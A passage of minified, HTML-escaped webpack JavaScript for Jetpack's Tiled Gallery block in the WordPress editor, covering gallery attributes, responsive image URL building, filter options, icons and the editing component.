r={align:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;],color:{gradients:!0,text:!1},customClassName:!1,html:!1,spacing:{margin:!0,padding:!0},__experimentalHideChildBlockControls:!0}},52537(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u,s:()=&gt;c});var r=s(97999),n=s(85985),o=s(63162),a=s(14936),i=s(13087),l=s(41314);function c(e){return[&quot;circle&quot;,&quot;square&quot;].includes(e)}function u(e,t={}){if(!e.height||!e.width)return e.url?{src:e.url}:{};if((0,i.A)())return{src:e.url};if((0,o.isBlobURL)(e.url)||/^https?:\/\/localhost/.test(e.url)||/^https?:\/\/.*\.local\//.test(e.url)||(0,r.isWoASite)()&amp;&amp;(0,n.pP)())return{src:e.url};const s=e.url.split(&quot;?&quot;,1)[0],{height:u,width:p}=e,{layoutStyle:h}=t,m=function(e){const{host:t}=new URL(e,window.location.href);return/\.files\.wordpress\.com$/.test(t)}(s)||!0===function(){if(&quot;undefined&quot;!=typeof jetpack_plan&amp;&amp;&quot;vip&quot;===jetpack_plan.data)return!0}()?d:a.A;let g;if(c(h)&amp;&amp;p&amp;&amp;u){const e=Math.min(l.rK,p,u);g=m(s,{resize:`${e},${e}`})}else g=m(s);let f=[];if(c(h)){const e=Math.min(600,p,u),t=Math.min(l.rK,p,u);for(let r=e;r&lt;t;r+=300){const e=m(s,{resize:`${r},${r}`,strip:&quot;info&quot;});e&amp;&amp;f.push(`${e} ${r}w`)}}else{const e=Math.min(600,p),t=Math.min(l.rK,p);for(let r=e;r&lt;t;r+=300){const e=m(s,{strip:&quot;info&quot;,width:r});e&amp;&amp;f.push(`${e} ${r}w`)}}return f=f.join(&quot;,&quot;),Object.assign({src:g},f&amp;&amp;{srcSet:f})}function d(e,t={}){const s={width:&quot;w&quot;,height:&quot;h&quot;,letterboxing:&quot;lb&quot;,removeLetterboxing:&quot;ulb&quot;},r=Object.assign(new URL(e,window.location.href),{username:&quot;&quot;,password:&quot;&quot;,port:&quot;&quot;,search:&quot;&quot;,hash:&quot;&quot;});for(const[e,n]of Object.entries(t))r.searchParams.set(Object.hasOwn(s,e)?s[e]:e,n);return r.toString()}},75e3(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;r.A,save:()=&gt;o.A,supports:()=&gt;n.A});var r=s(37336),n=s(69813),o=s(52767)},52767(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(13022),o=s(90907),a=s(35463),i=s(29520),l=s(1456),c=s(10790);function u({attributes:e}){const{imageFilter:t,images:s}=e;if(!s.length)return null;const{align:u,className:d,columns:p=(0,i.EB)(e),linkTo:h,roundedCorners:m,columnWidths:g}=e,f=r.useBlockProps.save();return(0,c.jsxs)(&quot;div&quot;,{...f,className:(0,n.A)(f.className,d),children:[&quot; &quot;,(0,c.jsx)(l.A,{align:u,columns:p,imageFilter:t,images:s,isSave:!0,layoutStyle:(0,o.D)(a.kc,d),linkTo:h,roundedCorners:m,columnWidths:g})]})}},37336(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={align:{type:&quot;string&quot;,default:&quot;center&quot;},className:{type:&quot;string&quot;,default:&quot;is-style-rectangular&quot;},columns:{type:&quot;number&quot;},columnWidths:{type:&quot;array&quot;,default:[]},ids:{type:&quot;array&quot;,default:[]},imageFilter:{type:&quot;string&quot;},images:{type:&quot;array&quot;,default:[],source:&quot;query&quot;,selector:&quot;.tiled-gallery__item&quot;,query:{alt:{attribute:&quot;alt&quot;,default:&quot;&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},height:{attribute:&quot;data-height&quot;,type:&quot;number&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},id:{attribute:&quot;data-id&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},link:{attribute:&quot;data-link&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},customLink:{attribute:&quot;data-custom-link&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},url:{attribute:&quot;data-url&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;},width:{attribute:&quot;data-width&quot;,selector:&quot;img&quot;,source:&quot;attribute&quot;,type:&quot;number&quot;}}},imageCrop:{type:&quot;boolean&quot;,default:!0},linkTo:{default:&quot;none&quot;,type:&quot;string&quot;},roundedCorners:{type:&quot;integer&quot;,default:0}}},88139(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(97999),n=s(63162),o=s(13022),a=s(10790);function i(e){const{alt:t,imageFilter:s,height:i,id:l,link:c,linkTo:u,customLink:d,origUrl:p,url:h,width:m,&quot;aria-label&quot;:g}=e;if((0,n.isBlobURL)(p))return null;let f;switch(u){case&quot;media&quot;:f=p;break;case&quot;attachment&quot;:f=c;break;case&quot;custom&quot;:f=d||&quot;&quot;;break;default:f=&quot;&quot;}const b=(0,a.jsx)(&quot;img&quot;,{alt:t,&quot;data-height&quot;:i,&quot;data-id&quot;:l,&quot;data-link&quot;:c,&quot;data-url&quot;:p,&quot;data-custom-link&quot;:d,&quot;data-width&quot;:m,src:h,...!(0,r.isSimpleSite)()&amp;&amp;{&quot;data-amp-layout&quot;:&quot;responsive&quot;},tabIndex:0,role:&quot;button&quot;,&quot;aria-label&quot;:g});return(0,a.jsx)(&quot;figure&quot;,{className:(0,o.A)(&quot;tiled-gallery__item&quot;,{[`filter__${s}`]:!!s}),children:f?(0,a.jsx)(&quot;a&quot;,{href:f,children:b}):b})}},20837(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{attributes:()=&gt;r.A,save:()=&gt;o.A,supports:()=&gt;n.A});var r=s(37336),n=s(69813),o=s(80720)},1456(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(86087),n=s(27723),o=s(13022),a=s(35463),i=s(31238),l=s(56366),c=s(90256),u=s(88139),d=s(10790);const __=n.__;class p extends r.Component{renderImage(e,t){const{columns:s,imageFilter:r,images:o,isSave:a,linkTo:i,layoutStyle:l,onMoveBackward:p,onMoveForward:h,onRemoveImage:m,onSelectImage:g,selectedImage:f,setImageAttributes:b}=this.props,v=(0,n.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
__(&quot;Open image %1$d of %2$d in full-screen&quot;,&quot;jetpack&quot;),t+1,o.length),k=u.A,{src:y,srcSet:x}=(0,c.A)(e,{layoutStyle:l});return(0,d.jsx)(k,{alt:e.alt,&quot;aria-label&quot;:v,columns:s,height:e.height,id:e.id,imageFilter:r,isFirstItem:0===t,isLastItem:t+1===o.length,isSelected:f===t,link:e.link,linkTo:i,customLink:e.customLink,onMoveBackward:a?void 0:p(t),onMoveForward:a?void 0:h(t),onRemove:a?void 0:m(t),onSelect:a?void 0:g(t),origUrl:e.url,setAttributes:a?void 0:b(t),showMovers:o.length&gt;1,srcSet:x,url:y,width:e.width},t)}render(){const{align:e,children:t,className:s,columns:r,images:n,layoutStyle:u,roundedCorners:p,onResize:h,style:m,isSave:g,columnWidths:f}=this.props,b=(0,c.s)(u)?l.A:i.A,v=this.props.images.map(this.renderImage,this),k=u!==a.aQ?Math.min(p,a.WN):0;return(0,d.jsxs)(&quot;div&quot;,{style:m,className:(0,o.A)(s,{[`has-rounded-corners-${k}`]:k&gt;0}),children:[(0,d.jsx)(b,{align:e,columns:r,columnWidths:g?f:void 0,images:n,layoutStyle:u,renderedImages:v,onResize:g?void 0:h}),t]})}}},80720(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(13022),o=s(90907),a=s(35463),i=s(29520),l=s(1456),c=s(10790);function u({attributes:e}){const{imageFilter:t,images:s}=e;if(!s.length)return null;const{align:u,className:d,columns:p=(0,i.EB)(e),linkTo:h,roundedCorners:m,columnWidths:g}=e,f=r.useBlockProps.save();return(0,c.jsxs)(&quot;div&quot;,{...f,className:(0,n.A)(f.className,d),children:[&quot; &quot;,(0,c.jsx)(l.A,{align:u,columns:p,imageFilter:t,images:s,isSave:!0,layoutStyle:(0,o.D)(a.kc,d),linkTo:h,roundedCorners:m,columnWidths:g})]})}},69813(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={align:[&quot;center&quot;,&quot;wide&quot;,&quot;full&quot;],color:{gradients:!0,text:!1},customClassName:!1,html:!1,spacing:{margin:!0,padding:!0},__experimentalHideChildBlockControls:!0}},29520(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;v,EB:()=&gt;f});var r=s(85985),n=s(94715),o=s(56427),a=s(43656),i=s(86087),l=s(27723),c=s(66087),u=s(90907),d=s(76585),p=s(35463),h=s(77530),m=s(10309),g=s(10790);const __=l.__;function f(e){return e.images.length&gt;0?Math.min(3,e.images.length):3}const b=e=&gt;{const t=(0,c.pick)(e,[[&quot;alt&quot;],[&quot;id&quot;],[&quot;link&quot;]]);return t.url=e?.sizes?.large?.url||e?.media_details?.sizes?.large?.source_url||e.url,t},v=(0,o.withNotices)(({attributes:e,isSelected:t,noticeOperations:s,noticeUI:l,setAttributes:c})=&gt;{const{align:v,columns:k=f(e),imageFilter:y,images:x,linkTo:j,roundedCorners:w,columnWidths:_}=e,C=(0,u.D)(p.kc,e.className),A=(0,n.useBlockProps)(),[S,E]=(0,i.useState)(null),[N,T]=(0,i.useState)(void 0===_||0===_?.length),B=e=&gt;{c({images:e,ids:e.map(({id:e})=&gt;parseInt(e,10))})},P=e=&gt;{(0,a.mediaUpload)({allowedTypes:p.eN,filesList:e,onFileChange:e=&gt;B((x||[]).concat(e.map(b))),onError:s.createErrorNotice}),T(!0)},I=e=&gt;()=&gt;{const t=x.filter((t,s)=&gt;e!==s);E(null),T(!0),B(t),c({columns:k?Math.min(t.length,k):k})},M=e=&gt;()=&gt;{S!==e&amp;&amp;E(e)},L=e=&gt;{const t=e.map(e=&gt;{const t=x.find(t=&gt;parseInt(t.id,10)===parseInt(e.id,10));return t?.customLink?{...b(e),customLink:t.customLink}:b(e)});B(t),c({columns:k?Math.min(e.length,k):k}),T(!0)},R=(e,t)=&gt;{const s=[...x];s.splice(t,1,x[e]),s.splice(e,1,x[t]),E(t),T(!0),B(s)},D=e=&gt;()=&gt;{e!==x.length-1&amp;&amp;R(e,e+1)},F=e=&gt;()=&gt;{0!==e&amp;&amp;R(e,e-1)},O=e=&gt;{N&amp;&amp;c({columnWidths:e})},z=e=&gt;P(e.target.files),U=e=&gt;t=&gt;{x[e]&amp;&amp;B([...x.slice(0,e),{...x[e],...t},...x.slice(e+1)])};let H;return(0,i.useEffect)(()=&gt;{t||null===S||E(null)},[t,S,E]),H=0===x.length?(0,g.jsx)(n.MediaPlaceholder,{icon:(0,r.sh)(d),labels:{title:__(&quot;Tiled Gallery&quot;,&quot;jetpack&quot;),name:__(&quot;images&quot;,&quot;jetpack&quot;)},onSelect:L,accept:&quot;image/*&quot;,allowedTypes:p.eN,multiple:!0,notices:l,onError:s.createErrorNotice}):(0,g.jsxs)(g.Fragment,{children:[(0,g.jsx)(h.M,{layoutStyle:C,images:x,columns:k,selectedImage:S,setImageAttributes:U,onColumnsChange:e=&gt;c({columns:e}),roundedCorners:w,onRoundedCornersChange:e=&gt;c({roundedCorners:e}),linkTo:j,onLinkToChange:e=&gt;c({linkTo:e})}),l,(0,g.jsxs)(m.A,{className:&quot;tiled-gallery__wrapper&quot;,align:v,columns:k,imageFilter:y,images:x,layoutStyle:C,linkTo:j,onMoveBackward:F,onMoveForward:D,onRemoveImage:I,onSelectImage:M,onResize:O,roundedCorners:w,selectedImage:t?S:null,setImageAttributes:U,children:[(0,g.jsx)(o.DropZone,{onFilesDrop:P}),t&amp;&amp;(0,g.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__add-item&quot;,children:(0,g.jsx)(o.FormFileUpload,{multiple:!0,className:&quot;tiled-gallery__add-item-button&quot;,onChange:z,accept:&quot;image/*&quot;,icon:&quot;insert&quot;,__next40pxDefaultSize:!0,children:__(&quot;Upload an image&quot;,&quot;jetpack&quot;)})})]})]}),(0,g.jsxs)(&quot;div&quot;,{...A,children:[(0,g.jsx)(h.c,{images:x,onSelectImages:L,imageFilter:y,onFilterChange:e=&gt;{c({imageFilter:e}),E(null)}}),H]})})},25589(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(94375),o=s(76585),a=s(10602),i=s(29520),l=s(96589),c=s(32022),u=s(2369),d=s(24324),p=s(49263),h=s(76882),m=s(86781);s(21324);const g={align:&quot;center&quot;,className:&quot;is-style-rectangular&quot;,images:[{alt:&quot;&quot;,link:&quot;&quot;,url:c,width:160,height:95},{alt:&quot;&quot;,link:&quot;&quot;,url:u,width:160,height:107},{alt:&quot;&quot;,link:&quot;&quot;,url:d,width:304,height:203},{alt:&quot;&quot;,link:&quot;&quot;,url:p,width:312,height:207},{alt:&quot;&quot;,link:&quot;&quot;,url:h,width:152,height:101},{alt:&quot;&quot;,link:&quot;&quot;,url:m,width:152,height:105}],linkTo:&quot;none&quot;};function f(e){return e.filter(({id:e,url:t})=&gt;e&amp;&amp;t)}(0,n.M)(o,{edit:i.Ay,save:l.A,transforms:{from:[{type:&quot;block&quot;,isMultiBlock:!0,blocks:[&quot;core/image&quot;],isMatch:e=&gt;f(e).length&gt;0,transform:e=&gt;{const t=f(e);return(0,r.createBlock)(o.name,{images:t.map(({id:e,url:t,link:s,alt:r})=&gt;({id:e,url:t,link:s,alt:r})),ids:t.map(({id:e})=&gt;e)})}},{type:&quot;block&quot;,blocks:[&quot;core/gallery&quot;,&quot;jetpack/slideshow&quot;],transform:({images:e})=&gt;{const t=f(e);return t.length&gt;0?(0,r.createBlock)(o.name,{images:t.map(({id:e,url:t,link:s,alt:r})=&gt;({id:e,url:t,link:s,alt:r})),ids:t.map(({id:e})=&gt;e)}):(0,r.createBlock)(o.name)}}],to:[{type:&quot;block&quot;,blocks:[&quot;core/gallery&quot;],transform:({images:e,ids:t,columns:s,linkTo:n})=&gt;(0,r.createBlock)(&quot;core/gallery&quot;,{images:e,ids:t,columns:s,imageCrop:!0,linkTo:n})},{type:&quot;block&quot;,blocks:[&quot;core/image&quot;],transform:({align:e,images:t})=&gt;t.length&gt;0?t.map(({id:t,url:s,alt:n})=&gt;(0,r.createBlock)(&quot;core/image&quot;,{align:e,id:t,url:s,alt:n})):(0,r.createBlock)(&quot;core/image&quot;)}]},providesContext:{imageCrop:&quot;imageCrop&quot;},deprecated:a.A,example:{attributes:g}})},2164(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(94715),n=s(56427),o=s(27723),a=s(10790);const __=o.__,_x=o._x,i=[{icon:(0,a.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(n.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,a.jsx)(n.Path,{d:&quot;M3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14z&quot;})]}),title:_x(&quot;Original&quot;,&quot;image style&quot;,&quot;jetpack&quot;),value:void 0},{icon:(0,a.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(n.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,a.jsx)(n.Path,{d:&quot;M3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm11 10h2V5h-4v2h2v8zm7-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14z&quot;})]}),title:_x(&quot;Black and White&quot;,&quot;image style&quot;,&quot;jetpack&quot;),value:&quot;black-and-white&quot;},{icon:(0,a.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(n.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,a.jsx)(n.Path,{d:&quot;M3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm18-4H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V7c0-1.11-.9-2-2-2h-4v2h4v2h-2c-1.1 0-2 .89-2 2v4h6v-2z&quot;})]}),title:_x(&quot;Sepia&quot;,&quot;image style&quot;,&quot;jetpack&quot;),value:&quot;sepia&quot;},{icon:(0,a.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(n.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,a.jsx)(n.Path,{d:&quot;M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm14 8v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V7c0-1.11-.9-2-2-2h-4v2h4v2h-2v2h2v2h-4v2h4c1.1 0 2-.89 2-2z&quot;})]}),title:&quot;1977&quot;,value:&quot;1977&quot;},{icon:(0,a.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(n.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,a.jsx)(n.Path,{d:&quot;M3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm12 10h2V5h-2v4h-2V5h-2v6h4v4zm6-14H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14z&quot;})]}),title:_x(&quot;Clarendon&quot;,&quot;image style&quot;,&quot;jetpack&quot;),value:&quot;clarendon&quot;},{icon:(0,a.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(n.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0z&quot;}),(0,a.jsx)(n.Path,{d:&quot;M21 1H7c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2zm0 16H7V3h14v14zM3 5H1v16c0 1.1.9 2 2 2h16v-2H3V5zm14 8v-2c0-1.11-.9-2-2-2h-2V7h4V5h-6v6h4v2h-4v2h4c1.1 0 2-.89 2-2z&quot;})]}),title:_x(&quot;Gingham&quot;,&quot;image style&quot;,&quot;jetpack&quot;),value:&quot;gingham&quot;}],l=__(&quot;Pick an image filter&quot;,&quot;jetpack&quot;),c=(0,a.jsxs)(n.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(n.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,a.jsx)(n.Path,{d:&quot;M19 10v9H4.98V5h9V3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-9h-2zm-2.94-2.06L17 10l.94-2.06L20 7l-2.06-.94L17 4l-.94 2.06L14 7zM12 8l-1.25 2.75L8 12l2.75 1.25L12 16l1.25-2.75L16 12l-2.75-1.25z&quot;})]});function u({value:e,onChange:t}){return(0,a.jsx)(n.Dropdown,{placement:&quot;bottom-start&quot;,className:&quot;editor-block-switcher&quot;,contentClassName:&quot;editor-block-switcher__popover&quot;,renderToggle:({onToggle:e,isOpen:t})=&gt;(0,a.jsx)(r.BlockControls,{children:(0,a.jsx)(n.Toolbar,{label:l,children:(0,a.jsx)(n.ToolbarButton,{onClick:e,&quot;aria-expanded&quot;:t,&quot;aria-haspopup&quot;:&quot;true&quot;,label:l,showTooltip:!0,icon:c})})}),renderContent:({onClose:s})=&gt;(0,a.jsx)(n.NavigableMenu,{className:&quot;tiled-gallery__filter-picker-menu&quot;,children:i.map(({icon:r,title:o,value:i})=&gt;{return(0,a.jsx)(n.MenuItem,{className:e===i?&quot;is-active&quot;:void 0,icon:r,isSelected:e===i,onClick:(l=i,()=&gt;{t(e===l?void 0:l),s()}),role:&quot;menuitemcheckbox&quot;,children:o},i||&quot;original&quot;);var l})})})}},26539(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(63162),n=s(56427),o=s(47143),a=s(86087),i=s(27723),l=s(48558),c=s(13022),u=s(18076),d=s(10790);const __=i.__;class p extends a.Component{img=(0,a.createRef)();state={isLoading:!1};onImageClick=()=&gt;{this.props.isSelected||this.props.onSelect()};onImageKeyDown=e=&gt;{const{isSelected:t,onRemove:s}=this.props;t&amp;&amp;[l.BACKSPACE,l.DELETE].includes(e.keyCode)&amp;&amp;(e.preventDefault(),s())};onImageLoadComplete=()=&gt;{this.setState({isLoading:!1}),this.removeImageEventListeners()};addImageEventListeners=()=&gt;{if(this.removeImageEventListeners(),this.img.current&amp;&amp;!(0,r.isBlobURL)(this.props.origUrl)){const e=this.img.current.complete;this.setState({isLoading:!e}),e||(this.img.current.addEventListener(&quot;load&quot;,this.onImageLoadComplete,{once:!0}),this.img.current.addEventListener(&quot;error&quot;,this.onImageLoadComplete,{once:!0}))}};removeImageEventListeners=()=&gt;{this.img.current&amp;&amp;(this.img.current.removeEventListener(&quot;load&quot;,this.onImageLoadComplete),this.img.current.removeEventListener(&quot;error&quot;,this.onImageLoadComplete))};componentDidMount(){(0,r.isBlobURL)(this.props.origUrl)||this.img.current?.complete||(this.setState({isLoading:!0}),this.addImageEventListeners())}componentWillUnmount(){this.removeImageEventListeners()}componentDidUpdate(e){const{alt:t,height:s,image:n,link:o,url:a,width:i,origUrl:l}=this.props,c=(0,r.isBlobURL)(e.origUrl);if((0,r.isBlobURL)(l)||this.img.current?.complete||!c&amp;&amp;e.url===a||(this.setState({isLoading:!0}),this.addImageEventListeners()),n){const e={};!t&amp;&amp;n.alt_text&amp;&amp;(e.alt=n.alt_text),!s&amp;&amp;n.media_details&amp;&amp;n.media_details.height&amp;&amp;(e.height=+n.media_details.height),!o&amp;&amp;n.link&amp;&amp;(e.link=n.link),!a&amp;&amp;n.source_url&amp;&amp;(e.url=n.source_url),!i&amp;&amp;n.media_details&amp;&amp;n.media_details.width&amp;&amp;(e.width=+n.media_details.width),Object.keys(e).length&amp;&amp;this.props.setAttributes(e)}}render(){const{&quot;aria-label&quot;:e,alt:t,columns:s,height:o,id:i,imageFilter:l,isFirstItem:p,isLastItem:h,isSelected:m,link:g,linkTo:f,customLink:b,onMoveBackward:v,onMoveForward:k,onRemove:y,origUrl:x,showMovers:j,srcSet:w,url:_,width:C}=this.props,{isLoading:A}=this.state;let S;switch(f){case&quot;media&quot;:S=x;break;case&quot;attachment&quot;:S=g;break;case&quot;custom&quot;:S=b||&quot;&quot;;break;default:S=&quot;&quot;}const E=(0,r.isBlobURL)(x),N=(0,d.jsxs)(a.Fragment,{children:[(0,d.jsx)(&quot;img&quot;,{alt:t,&quot;data-height&quot;:o,&quot;data-id&quot;:i,&quot;data-link&quot;:g,&quot;data-url&quot;:x,&quot;data-width&quot;:C,ref:this.img,src:E?void 0:_,srcSet:E?void 0:w,style:E?{backgroundImage:`url(${x})`}:void 0}),E&amp;&amp;(0,d.jsx)(n.Spinner,{})]});return(0,d.jsxs)(&quot;div&quot;,{className:(0,c.A)(&quot;tiled-gallery__item&quot;,{&quot;is-selected&quot;:m,&quot;is-transient&quot;:E,&quot;is-loading&quot;:!E&amp;&amp;A,[`filter__${l}`]:!!l}),tabIndex:&quot;0&quot;,role:&quot;button&quot;,onClick:this.onImageClick,onKeyDown:this.onImageKeyDown,&quot;aria-label&quot;:e,children:[j&amp;&amp;(0,d.jsxs)(&quot;div&quot;,{className:&quot;tiled-gallery__item__move-menu&quot;,children:[(0,d.jsx)(n.Button,{icon:1===s?u.Lo:u.Nd,onClick:p?void 0:v,className:&quot;tiled-gallery__item__move-backward&quot;,label:__(&quot;Move image backward&quot;,&quot;jetpack&quot;),&quot;aria-disabled&quot;:p,disabled:!m}),(0,d.jsx)(n.Button,{icon:1===s?u.W4:u.Gy,onClick:h?void 0:k,className:&quot;tiled-gallery__item__move-forward&quot;,label:__(&quot;Move image forward&quot;,&quot;jetpack&quot;),&quot;aria-disabled&quot;:h,disabled:!m})]}),(0,d.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__item__inline-menu&quot;,children:(0,d.jsx)(n.Button,{icon:u.VN,onClick:y,className:&quot;tiled-gallery__item__remove&quot;,label:__(&quot;Remove image&quot;,&quot;jetpack&quot;),disabled:!m})}),S?(0,d.jsx)(&quot;a&quot;,{&quot;aria-hidden&quot;:&quot;true&quot;,children:N}):N]})}}const h=(0,o.withSelect)((e,t)=&gt;{const{getEntityRecord:s}=e(&quot;core&quot;),{id:r}=t;return{image:r?s(&quot;postType&quot;,&quot;attachment&quot;,r):null}})(p)},60918(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(97999),n=s(63162),o=s(13022),a=s(10790);function i(e){const{alt:t,imageFilter:s,height:i,id:l,link:c,linkTo:u,customLink:d,origUrl:p,url:h,width:m}=e;if((0,n.isBlobURL)(p))return null;let g;switch(u){case&quot;media&quot;:g=p;break;case&quot;attachment&quot;:g=c;break;case&quot;custom&quot;:g=d||&quot;&quot;;break;default:g=&quot;&quot;}const f=(0,r.isSimpleSite)()?{}:{&quot;data-amp-layout&quot;:&quot;responsive&quot;},b=(0,a.jsx)(&quot;img&quot;,{alt:t,&quot;data-height&quot;:i,&quot;data-id&quot;:l,&quot;data-link&quot;:c,&quot;data-url&quot;:p,&quot;data-width&quot;:m,src:h,...f});return(0,a.jsx)(&quot;figure&quot;,{className:(0,o.A)(&quot;tiled-gallery__item&quot;,{[`filter__${s}`]:!!s}),children:g?(0,a.jsx)(&quot;a&quot;,{href:g,children:b}):b})}},18076(e,t,s){&quot;use strict&quot;;s.d(t,{Gy:()=&gt;a,Lo:()=&gt;l,Nd:()=&gt;o,VN:()=&gt;c,W4:()=&gt;i});var r=s(56427),n=s(10790);const o=(0,n.jsx)(r.SVG,{width:&quot;18&quot;,height:&quot;18&quot;,viewBox:&quot;0 0 18 18&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M5 8.70002L10.6 14.4L12 12.9L7.8 8.70002L12 4.50002L10.6 3.00002L5 8.70002Z&quot;})}),a=(0,n.jsx)(r.SVG,{width:&quot;18&quot;,height:&quot;18&quot;,viewBox:&quot;0 0 18 18&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M13 8.7L7.4 3L6 4.5L10.2 8.7L6 12.9L7.4 14.4L13 8.7Z&quot;})}),i=(0,n.jsx)(r.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M7.41,8.59L12,13.17l4.59-4.58L18,10l-6,6l-6-6L7.41,8.59z&quot;})}),l=(0,n.jsx)(r.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M12,8l-6,6l1.41,1.41L12,10.83l4.59,4.58L18,14L12,8z&quot;})}),c=(0,n.jsx)(r.SVG,{width:&quot;18&quot;,height:&quot;18&quot;,viewBox:&quot;-2 -2 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M14.95 6.46L11.41 10l3.54 3.54-1.41 1.41L10 11.42l-3.53 3.53-1.42-1.42L8.58 10 5.05 6.47l1.42-1.42L10 8.58l3.54-3.53z&quot;})})},98627(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,width:t}){const s=t?{flexBasis:`${t}%`}:void 0;return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__col&quot;,style:s,children:e})}},54359(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(10790);function n({children:e,galleryRef:t}){return(0,r.jsx)(&quot;div&quot;,{className:&quot;tiled-gallery__gallery&quot;,ref:t,children:e})}},10309(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;h});var r=s(86087),n=s(27723),o=s(13022),a=s(35463),i=s(26539),l=s(60918),c=s(90256),u=s(31238),d=s(56366),p=s(10790);const __=n.__;class h extends r.Component{renderImage(e,t){const{columns:s,imageFilter:r,images:o,isSave:a,linkTo:u,layoutStyle:d,onMoveBackward:h,onMoveForward:m,onRemoveImage:g,onSelectImage:f,selectedImage:b,setImageAttributes:v}=this.props,k=(0,n.sprintf)(/* translators: %1$d is the order number of the image, %2$d is the total number of images. */
